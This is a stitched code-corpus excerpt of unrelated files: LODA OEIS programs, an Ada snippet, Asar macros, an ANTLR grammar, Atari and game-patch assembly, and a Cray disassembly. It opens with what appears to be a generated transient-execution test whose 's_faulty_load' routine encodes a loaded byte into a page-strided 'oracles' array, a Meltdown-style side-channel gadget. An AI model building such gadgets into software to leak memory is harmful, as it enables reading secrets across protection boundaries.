add %rdi, %rdi
lea addresses_normal_ht+0xbeee, %rcx
nop
nop
cmp %r12, %r12
movl $0x61626364, (%rcx)
nop
nop
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0x7dd0, %r15
nop
nop
nop
and %rcx, %rcx
mov (%r15), %r10d
nop
nop
nop
sub %r12, %r12
lea addresses_normal_ht+0x14394, %r15
nop
nop
nop
dec %r10
vmovups (%r15), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
xor %r12, %r12
lea addresses_UC_ht+0xb14e, %r12
nop
nop
nop
nop
nop
sub $10122, %r10
and $0xffffffffffffffc0, %r12
movntdqa (%r12), %xmm0
vpextrq $1, %xmm0, %rdi
nop
nop
nop
nop
cmp $3277, %r8
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %rsi
// Faulty Load
lea addresses_D+0x120ee, %r11
nop
nop
nop
dec %r8
mov (%r11), %si
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': True, 'NT': True}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
oeis/242/A242596.asm | neoneye/loda-programs | 11 | 178816 | ; A242596: Numerators for partial sums of dilog(1/2).
; Submitted by <NAME>
; 1,9,83,1337,33497,5587,136919,35054939,946522553,946538429,114531943709,458129108861,77423915447309,38711978428267,9677996861569,19820539601545337,5728136204565261593,1909378773465525731,689285743475945831291,344642873149232707087
mov $1,1
lpb $0
mov $2,$0
sub $0,1
add $2,1
pow $2,2
mul $3,$2
add $3,$1
mul $1,2
mul $1,$2
lpe
add $1,$3
gcd $3,$1
div $1,$3
mov $0,$1
|
Task/Generate-lower-case-ASCII-alphabet/Ada/generate-lower-case-ascii-alphabet-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 8324 | B : Arr_Type (1 .. 26);
begin
B(B'First) := 'a';
for I in B'First .. B'Last-1 loop
B(I+1) := Lower_Case'Succ(B(I));
end loop; -- now all the B(I) are different
|
patches/shared/includes/print_implementation.asm | RPGHacker/SMW-Workspace | 9 | 167089 | @asar 1.50
@includefrom "../shared.asm"
; This file is included by shared.asm and should not be included directly
!shared_asm_included ?= 0
if !shared_asm_included == 0
error "Trying to include 'print_implementation.asm' directly, which is meant to be included from 'shared.asm' only."
else
; This file adds a print macro to Asar which can take macros as its arguments, which Asar's regular print command can't do
; That way, you can use your own format specifiers in print commands
!print_implementation_asm_included ?= 0
if !print_implementation_asm_included == 0
!print_implementation_asm_included = 1
; Private section
{
; Called by %print_next() to chain arguments
; For internal use only
macro print_next_internal(arg, arg_num)
!print_arg<arg_num> = ""
<arg>
!print_all_args := "!print_all_args!print_arg<arg_num>"
endmacro
; Adds another argument to the argument list of %print()
; For internal use only, use the !a define instead as described below
macro print_next(arg)
%print_next_internal(<arg>, !print_arg_count)
!print_arg_count #= !print_arg_count+1
endmacro
; Flushes a %print() command
; For internal use only, use the !e define instead as described below
macro print_end()
print !print_all_args""
endmacro
; Called by %str() to chain arguments
; For internal use only
macro str_internal(string_value, arg_num)
!print_arg<arg_num> = """<string_value>"","
endmacro
; Called by %int() to chain arguments
; For internal use only
macro int_internal(int_value, arg_num)
!print_arg<arg_num> = "dec(<int_value>),"
endmacro
; Called by %hex() to chain arguments
; For internal use only
macro hex_internal(hex_value, arg_num)
!print_arg<arg_num> = "hex(<hex_value>),"
endmacro
; Called by functions working with decimal numbers to get the fractional part
; For internal use only
macro get_fractional_part_internal_recursive(decimal_number, decimal_places_start, decimal_places, out_var)
!get_remaining_fractional_part = frac(<decimal_number>)*10
!get_fractional_part_next_digit #= trunc(!get_remaining_fractional_part)
if <decimal_places> > 0 && equal(!get_remaining_fractional_part, 0) == 0
; We're not done yet and can add more decimal places
!<out_var> := !<out_var>!get_fractional_part_next_digit
%get_fractional_part_internal_recursive(frac(<decimal_number>)*10, <decimal_places_start>, <decimal_places>-1, "<out_var>")
else
if <decimal_places> = 0 && equal(!get_remaining_fractional_part, 0) == 0
; We're not done yet, but can't add more decimal places, so add "..."
!<out_var> := "!<out_var>..."
else
; We're done and have no more decimal places to add
if <decimal_places_start> == <decimal_places>
; If we didn't add any decimal places at all, add a 0
; Or rather just replace with 0, because it doesn't really make a difference and putting "!<out_var>0" here will just confuse Asar
!<out_var> := "0"
endif
endif
endif
endmacro
; Called by functions working with decimal numbers to get the fractional part
; For internal use only
macro get_fractional_part_internal(decimal_number, decimal_places, out_var)
%get_fractional_part_internal_recursive(frac(<decimal_number>), <decimal_places>, <decimal_places>, <out_var>)
endmacro
; Called by %dec() and %f16() to chain arguments
; For internal use only
macro dec_internal(decimal_number, decimal_places, arg_num)
!dec_internal_val = floor(abs(<decimal_number>))
!dec_internal_sign = ""
if less(<decimal_number>, 0) == 1
; Negative numbers
!dec_internal_sign = "-"
endif
!dec_fractional_part = ""
%get_fractional_part_internal(abs(<decimal_number>), <decimal_places>, "dec_fractional_part")
!print_arg<arg_num> = """!dec_internal_sign"",dec(!dec_internal_val),""."",""!dec_fractional_part"","
endmacro
}
; Public section
; Can be passed to %print() to add a string literal to the argument list
macro str(string_value)
%str_internal("<string_value>", !print_arg_count)
endmacro
; Can be passed to %print() to add a decimal number cast to an integer to the argument list
macro int(int_value)
%int_internal(<int_value>, !print_arg_count)
endmacro
; Can be passed to %print() to add a hexadecimal number to the argument list
macro hex(hex_value)
%hex_internal(<hex_value>, !print_arg_count)
endmacro
; Can be passed to %print() to add a decimal number to the argument list
; Pass the maximum number of decimal places to print to decimal_places
macro dec(decimal_number, decimal_places)
%dec_internal(<decimal_number>, <decimal_places>, !print_arg_count)
endmacro
; Can be passed to %print() to add a fixed point number to the argument list
; Pass the maximum number of decimal places to print to decimal_places
macro f16(fixed_representation, decimal_places)
%dec_internal(fixed_16_to_decimal(<fixed_representation>), <decimal_places>, !print_arg_count)
endmacro
; Prints some text to the console using Asar's print command (which it's meant to replace)
; Unlike Asar's stand-alone print command, this version can also take macros as arguments
; As a trade-off, string literals and functions like dec() or hex() can't be passed to this function directly
; anymore and have to be wrapped in macros
; Usage:
; %print(%str("String literal") !e)
; Like with Asar's regular print command, you can also chain multiple arguments, using the following method:
; %print(%str("You walked ") !a %f16($1C0) !a %str(" miles!") !e)
macro print(arg)
!print_arg_count = 0
!print_all_args = ""
%print_next(<arg>)
endmacro
; A label used to add another argument to %print()
!a = ") : %print_next("
; A label used to end the argument list passed to %print()
!e = ") : %print_end("
endif
endif
|
day18/sndasm/SndAsm.g4 | basverweij/aoc2017 | 1 | 5855 | grammar SndAsm;
code : instruction* ;
instruction : unaryRegExpression | unaryExpression | binaryRegExpression | binaryExpression;
unaryRegExpression : unaryRegInstruction reg ;
unaryRegInstruction : Rcv ;
unaryExpression : unaryInstruction regOrValue ;
unaryInstruction : Snd ;
binaryRegExpression : binaryRegInstruction reg regOrValue ;
binaryRegInstruction : Set | Add | Mul | Mod ;
binaryExpression : binaryInstruction regOrValue regOrValue ;
binaryInstruction : Jgz ;
reg : Reg ;
regOrValue : Reg | Value ;
Snd : 'snd' ;
Rcv : 'rcv' ;
Set : 'set' ;
Add : 'add' ;
Mul : 'mul' ;
Mod : 'mod' ;
Jgz : 'jgz' ;
Reg : [a-z] ;
Value : '-'?[0-9]+ ;
WS : [ \t\r\n]+ -> skip ; // skip spaces, tabs, newlines
|
includes/2600basicfooter.asm | Al-Nafuur/batari-Basic | 0 | 174170 | <filename>includes/2600basicfooter.asm
; Provided under the CC0 license. See the included LICENSE.txt for details.
ifconst bankswitch
if bankswitch == 8
ifconst PlusROM_functions
ORG $2FF0
RORG $FFF0
.byte 0 ; WriteToBuffer
.byte 0 ; WriteSendBuffer
.byte 0 ; ReceiveBuffer
.byte $ff ; ReceiveBufferSize (none zero for detection of PlusROM support)
ORG $2FFA
RORG $FFFA
.word (PlusROM_API)
else
ORG $2FFC
RORG $FFFC
endif
endif
if bankswitch == 16
ifconst PlusROM_functions
ORG $4FF0
RORG $FFF0
.byte 0 ; WriteToBuffer
.byte 0 ; WriteSendBuffer
.byte 0 ; ReceiveBuffer
.byte $ff ; ReceiveBufferSize (none zero for detection of PlusROM support)
ORG $4FFA
RORG $FFFA
.word (PlusROM_API)
else
ORG $4FFC
RORG $FFFC
endif
endif
if bankswitch == 32
ifconst PlusROM_functions
ORG $8FF0
RORG $FFF0
.byte 0 ; WriteToBuffer
.byte 0 ; WriteSendBuffer
.byte 0 ; ReceiveBuffer
.byte $ff ; ReceiveBufferSize (none zero for detection of PlusROM support)
ORG $8FFA
RORG $FFFA
.word (PlusROM_API)
else
ORG $8FFC
RORG $FFFC
endif
endif
if bankswitch == 64
ORG $10FF0
RORG $1FFF0
lda $ffe0 ; we use wasted space to assist stella with EF format auto-detection
ORG $10FF8
RORG $1FFF8
ifconst superchip
.byte "E","F","S","C"
else
.byte "E","F","E","F"
endif
ORG $10FFC
RORG $1FFFC
endif
else
ifconst ROM2k
ifconst PlusROM_functions
ORG $F7FA
.word (PlusROM_API)
else
ORG $F7FC
endif
else
ifconst PlusROM_functions
ORG $FFFA
.word (PlusROM_API)
else
ORG $FFFC
endif
endif
endif
.word (start & $ffff)
.word (start & $ffff)
|
oeis/066/A066642.asm | neoneye/loda-programs | 11 | 6223 | <reponame>neoneye/loda-programs
; A066642: a(n) = floor(n^(n/2)).
; Submitted by <NAME>
; 1,2,5,16,55,216,907,4096,19683,100000,534145,2985984,17403307,105413504,661735513,4294967296,28761784747,198359290368,1406563064942,10240000000000,76436817165460,584318301411328,4569515072723572,36520347436056576,298023223876953125,2481152873203736576,21057694276511798810,182059119829942534144,1602400122678855493154,14348907000000000000000,130649049482662658821371,1208925819614629174706176,11362659903726813024903037,108428035605965932354207744,1050003571114950397125160272
add $0,1
pow $0,$0
mov $3,$0
lpb $0
mov $2,$3
div $2,$0
add $0,$2
div $0,2
lpe
|
src/mods/scriptaction4.asm | E1Elite/ts-patches | 33 | 98363 | <filename>src/mods/scriptaction4.asm<gh_stars>10-100
%include "TiberianSun.inc"
%include "macros/patch.inc"
; Script action 4 : Move to Cell.. (4,cell#) uses leftover logic from RA1 to compute coordinates.
; Original formula: cell# = x + (y * 128)
; This patch converts the formula to: cell# = x + (y * 1000)
; Making it similar to waypoint/celltag computations, so that larger map coordinates are supported.
; Credits: E1 Elite
hack 0x00622B2C
mov eax, ecx
mov ebp, 0x000003E8
cdq
idiv ebp
mov eax, 0x10624DD3
mov [esp+10h], dx
imul ecx
sar edx, 0x06
mov eax, edx
shr eax, 0x1F
add edx, eax
mov [esp+12h], dx
mov ecx, 0x00748348
lea eax, [esp+10h]
push eax
call 0x0050F280
jmp 0x00622B11
|
programs/oeis/168/A168206.asm | karttu/loda | 0 | 29586 | ; A168206: a(n) = 5*n - a(n-1) + 1 with n>1, a(1)=0.
; 0,11,5,16,10,21,15,26,20,31,25,36,30,41,35,46,40,51,45,56,50,61,55,66,60,71,65,76,70,81,75,86,80,91,85,96,90,101,95,106,100,111,105,116,110,121,115,126,120,131,125,136,130,141,135,146,140,151,145,156,150,161,155,166,160,171,165,176,170,181,175,186,180,191,185,196,190,201,195,206,200,211,205,216,210,221,215,226,220,231,225,236,230,241,235,246,240,251,245,256,250,261,255,266,260,271,265,276,270,281,275,286,280,291,285,296,290,301,295,306,300,311,305,316,310,321,315,326,320,331,325,336,330,341,335,346,340,351,345,356,350,361,355,366,360,371,365,376,370,381,375,386,380,391,385,396,390,401,395,406,400,411,405,416,410,421,415,426,420,431,425,436,430,441,435,446,440,451,445,456,450,461,455,466,460,471,465,476,470,481,475,486,480,491,485,496,490,501,495,506,500,511,505,516,510,521,515,526,520,531,525,536,530,541,535,546,540,551,545,556,550,561,555,566,560,571,565,576,570,581,575,586,580,591,585,596,590,601,595,606,600,611,605,616,610,621,615,626,620,631
mov $1,$0
mul $0,3
lpb $0,1
sub $0,2
add $1,1
lpe
mul $0,9
lpb $0,1
sub $0,1
add $1,1
lpe
|
target/cos_117/disasm/iop_overlay1/D4MSG.asm | jrrk2/cray-sim | 49 | 5371 | <reponame>jrrk2/cray-sim
0x0000 (0x000000) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0001 (0x000002) 0x291D- f:00024 d: 285 | OR[285] = A
0x0002 (0x000004) 0x1023- f:00010 d: 35 | A = 35 (0x0023)
0x0003 (0x000006) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0004 (0x000008) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0005 (0x00000A) 0x291E- f:00024 d: 286 | OR[286] = A
0x0006 (0x00000C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0007 (0x00000E) 0x291F- f:00024 d: 287 | OR[287] = A
0x0008 (0x000010) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0009 (0x000012) 0x2920- f:00024 d: 288 | OR[288] = A
0x000A (0x000014) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000B (0x000016) 0x2921- f:00024 d: 289 | OR[289] = A
0x000C (0x000018) 0x111A- f:00010 d: 282 | A = 282 (0x011A)
0x000D (0x00001A) 0x2922- f:00024 d: 290 | OR[290] = A
0x000E (0x00001C) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x000F (0x00001E) 0x5800- f:00054 d: 0 | B = A
0x0010 (0x000020) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0011 (0x000022) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0012 (0x000024) 0x8602- f:00103 d: 2 | P = P + 2 (0x0014), A # 0
0x0013 (0x000026) 0x700B- f:00070 d: 11 | P = P + 11 (0x001E)
0x0014 (0x000028) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0015 (0x00002A) 0x291D- f:00024 d: 285 | OR[285] = A
0x0016 (0x00002C) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0017 (0x00002E) 0x291E- f:00024 d: 286 | OR[286] = A
0x0018 (0x000030) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x0019 (0x000032) 0x5800- f:00054 d: 0 | B = A
0x001A (0x000034) 0x1800-0x0B18 f:00014 d: 0 | A = 2840 (0x0B18)
0x001C (0x000038) 0x7C09- f:00076 d: 9 | R = OR[9]
0x001D (0x00003A) 0x721D- f:00071 d: 29 | P = P - 29 (0x0000)
0x001E (0x00003C) 0x211A- f:00020 d: 282 | A = OR[282]
0x001F (0x00003E) 0x1423- f:00012 d: 35 | A = A + 35 (0x0023)
0x0020 (0x000040) 0x291C- f:00024 d: 284 | OR[284] = A
0x0021 (0x000042) 0x211C- f:00020 d: 284 | A = OR[284]
0x0022 (0x000044) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0023 (0x000046) 0x291B- f:00024 d: 283 | OR[283] = A
0x0024 (0x000048) 0x2003- f:00020 d: 3 | A = OR[3]
0x0025 (0x00004A) 0x1C00-0x011C f:00016 d: 0 | A = A + 284 (0x011C)
0x0027 (0x00004E) 0x2913- f:00024 d: 275 | OR[275] = A
0x0028 (0x000050) 0x2113- f:00020 d: 275 | A = OR[275]
0x0029 (0x000052) 0x290D- f:00024 d: 269 | OR[269] = A
0x002A (0x000054) 0x211A- f:00020 d: 282 | A = OR[282]
0x002B (0x000056) 0x290E- f:00024 d: 270 | OR[270] = A
0x002C (0x000058) 0x100D- f:00010 d: 13 | A = 13 (0x000D)
0x002D (0x00005A) 0x290F- f:00024 d: 271 | OR[271] = A
0x002E (0x00005C) 0x7006- f:00070 d: 6 | P = P + 6 (0x0034)
0x002F (0x00005E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0030 (0x000060) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0031 (0x000062) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0032 (0x000064) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0033 (0x000066) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0034 (0x000068) 0x210F- f:00020 d: 271 | A = OR[271]
0x0035 (0x00006A) 0x8E06- f:00107 d: 6 | P = P - 6 (0x002F), A # 0
0x0036 (0x00006C) 0x2101- f:00020 d: 257 | A = OR[257]
0x0037 (0x00006E) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0038 (0x000070) 0x2908- f:00024 d: 264 | OR[264] = A
0x0039 (0x000072) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003A (0x000074) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x003B (0x000076) 0x121F- f:00011 d: 31 | A = A & 31 (0x001F)
0x003C (0x000078) 0x1607- f:00013 d: 7 | A = A - 7 (0x0007)
0x003D (0x00007A) 0x8402- f:00102 d: 2 | P = P + 2 (0x003F), A = 0
0x003E (0x00007C) 0x7016- f:00070 d: 22 | P = P + 22 (0x0054)
0x003F (0x00007E) 0x2003- f:00020 d: 3 | A = OR[3]
0x0040 (0x000080) 0x1C00-0x0129 f:00016 d: 0 | A = A + 297 (0x0129)
0x0042 (0x000084) 0x2913- f:00024 d: 275 | OR[275] = A
0x0043 (0x000086) 0x211A- f:00020 d: 282 | A = OR[282]
0x0044 (0x000088) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0045 (0x00008A) 0x2917- f:00024 d: 279 | OR[279] = A
0x0046 (0x00008C) 0x2113- f:00020 d: 275 | A = OR[275]
0x0047 (0x00008E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0048 (0x000090) 0x2117- f:00020 d: 279 | A = OR[279]
0x0049 (0x000092) 0x290E- f:00024 d: 270 | OR[270] = A
0x004A (0x000094) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x004B (0x000096) 0x290F- f:00024 d: 271 | OR[271] = A
0x004C (0x000098) 0x7006- f:00070 d: 6 | P = P + 6 (0x0052)
0x004D (0x00009A) 0x310D- f:00030 d: 269 | A = (OR[269])
0x004E (0x00009C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x004F (0x00009E) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0050 (0x0000A0) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0051 (0x0000A2) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0052 (0x0000A4) 0x210F- f:00020 d: 271 | A = OR[271]
0x0053 (0x0000A6) 0x8E06- f:00107 d: 6 | P = P - 6 (0x004D), A # 0
0x0054 (0x0000A8) 0x211A- f:00020 d: 282 | A = OR[282]
0x0055 (0x0000AA) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x0056 (0x0000AC) 0x2917- f:00024 d: 279 | OR[279] = A
0x0057 (0x0000AE) 0x2003- f:00020 d: 3 | A = OR[3]
0x0058 (0x0000B0) 0x1C00-0x0169 f:00016 d: 0 | A = A + 361 (0x0169)
0x005A (0x0000B4) 0x2518- f:00022 d: 280 | A = A + OR[280]
0x005B (0x0000B6) 0x2913- f:00024 d: 275 | OR[275] = A
0x005C (0x0000B8) 0x3113- f:00030 d: 275 | A = (OR[275])
0x005D (0x0000BA) 0x2914- f:00024 d: 276 | OR[276] = A
0x005E (0x0000BC) 0x2113- f:00020 d: 275 | A = OR[275]
0x005F (0x0000BE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0060 (0x0000C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0061 (0x0000C2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0062 (0x0000C4) 0x2915- f:00024 d: 277 | OR[277] = A
0x0063 (0x0000C6) 0x2115- f:00020 d: 277 | A = OR[277]
0x0064 (0x0000C8) 0x2714- f:00023 d: 276 | A = A - OR[276]
0x0065 (0x0000CA) 0x2916- f:00024 d: 278 | OR[278] = A
0x0066 (0x0000CC) 0x2114- f:00020 d: 276 | A = OR[276]
0x0067 (0x0000CE) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0068 (0x0000D0) 0x2914- f:00024 d: 276 | OR[276] = A
0x0069 (0x0000D2) 0x2114- f:00020 d: 276 | A = OR[276]
0x006A (0x0000D4) 0x290D- f:00024 d: 269 | OR[269] = A
0x006B (0x0000D6) 0x2117- f:00020 d: 279 | A = OR[279]
0x006C (0x0000D8) 0x290E- f:00024 d: 270 | OR[270] = A
0x006D (0x0000DA) 0x2116- f:00020 d: 278 | A = OR[278]
0x006E (0x0000DC) 0x290F- f:00024 d: 271 | OR[271] = A
0x006F (0x0000DE) 0x7006- f:00070 d: 6 | P = P + 6 (0x0075)
0x0070 (0x0000E0) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0071 (0x0000E2) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0072 (0x0000E4) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0073 (0x0000E6) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0074 (0x0000E8) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0075 (0x0000EA) 0x210F- f:00020 d: 271 | A = OR[271]
0x0076 (0x0000EC) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0070), A # 0
0x0077 (0x0000EE) 0x2117- f:00020 d: 279 | A = OR[279]
0x0078 (0x0000F0) 0x2516- f:00022 d: 278 | A = A + OR[278]
0x0079 (0x0000F2) 0x2917- f:00024 d: 279 | OR[279] = A
0x007A (0x0000F4) 0x2003- f:00020 d: 3 | A = OR[3]
0x007B (0x0000F6) 0x1C00-0x012D f:00016 d: 0 | A = A + 301 (0x012D)
0x007D (0x0000FA) 0x2913- f:00024 d: 275 | OR[275] = A
0x007E (0x0000FC) 0x2113- f:00020 d: 275 | A = OR[275]
0x007F (0x0000FE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0080 (0x000100) 0x2117- f:00020 d: 279 | A = OR[279]
0x0081 (0x000102) 0x290E- f:00024 d: 270 | OR[270] = A
0x0082 (0x000104) 0x100E- f:00010 d: 14 | A = 14 (0x000E)
0x0083 (0x000106) 0x290F- f:00024 d: 271 | OR[271] = A
0x0084 (0x000108) 0x7006- f:00070 d: 6 | P = P + 6 (0x008A)
0x0085 (0x00010A) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0086 (0x00010C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0087 (0x00010E) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0088 (0x000110) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0089 (0x000112) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x008A (0x000114) 0x210F- f:00020 d: 271 | A = OR[271]
0x008B (0x000116) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0085), A # 0
0x008C (0x000118) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x008D (0x00011A) 0x8402- f:00102 d: 2 | P = P + 2 (0x008F), A = 0
0x008E (0x00011C) 0x7005- f:00070 d: 5 | P = P + 5 (0x0093)
0x008F (0x00011E) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0090 (0x000120) 0x2B17- f:00025 d: 279 | OR[279] = A + OR[279]
0x0091 (0x000122) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0092 (0x000124) 0x3917- f:00034 d: 279 | (OR[279]) = A
0x0093 (0x000126) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0094 (0x000128) 0x291D- f:00024 d: 285 | OR[285] = A
0x0095 (0x00012A) 0x1800-0x0041 f:00014 d: 0 | A = 65 (0x0041)
0x0097 (0x00012E) 0x291E- f:00024 d: 286 | OR[286] = A
0x0098 (0x000130) 0x1800-0x0000 f:00014 d: 0 | A = 0 (0x0000)
0x009A (0x000134) 0x291F- f:00024 d: 287 | OR[287] = A
0x009B (0x000136) 0x211A- f:00020 d: 282 | A = OR[282]
0x009C (0x000138) 0x2920- f:00024 d: 288 | OR[288] = A
0x009D (0x00013A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
